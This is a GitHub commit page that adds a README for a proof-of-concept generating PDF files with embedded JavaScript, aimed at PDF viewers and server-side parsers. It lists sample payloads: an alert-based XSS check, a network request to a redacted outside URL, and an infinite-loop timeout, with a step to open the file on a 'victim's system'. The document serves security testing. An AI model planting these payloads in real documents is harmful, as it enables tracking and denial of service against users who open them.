-
-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #630 from mtausig/patch-2
Add documentation for PDF JS PoC
- Loading branch information
Showing
1 changed file
with
44 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
# Generate PDF File Containing JavaScript Code | ||
|
||
PDF may contain JavaScript code. | ||
This script allow us to generate a PDF file which helps us to check if that code is executed when the file is opened. | ||
Possible targets are client applications trying to open the file or sererside backends which are parsing the PDF file. | ||
|
||
## HowTo | ||
|
||
1. Edit the file `poc.js` with the JS code you want to have included in your PDF file | ||
2. Install the required python modules using `pip install pdfrw` | ||
3. Create the PDF: `python poc.py poc.js` | ||
4. Open the file `result.pdf` on your victim's system | ||
|
||
## Possible exploit codes | ||
|
||
The full set of available functions is documented here: https://opensource.adobe.com/dc-acrobat-sdk-docs/library/jsapiref/JS_API_AcroJS.html | ||
|
||
### XSS (for GUI viewers) | ||
|
||
```js | ||
app.alert("XSS"); | ||
``` | ||
|
||
### Open URL | ||
|
||
```js | ||
var cURL="http://[REDACTED]/"; | ||
var params = | ||
{ | ||
cVerb: "GET", | ||
cURL: cURL | ||
}; | ||
Net.HTTP.request(params); | ||
``` | ||
|
||
### Timeout | ||
|
||
```js | ||
while (true) {} | ||
``` | ||
|
||
## References | ||
|
||
The code is based on https://github.com/osnr/horrifying-pdf-experiments/ |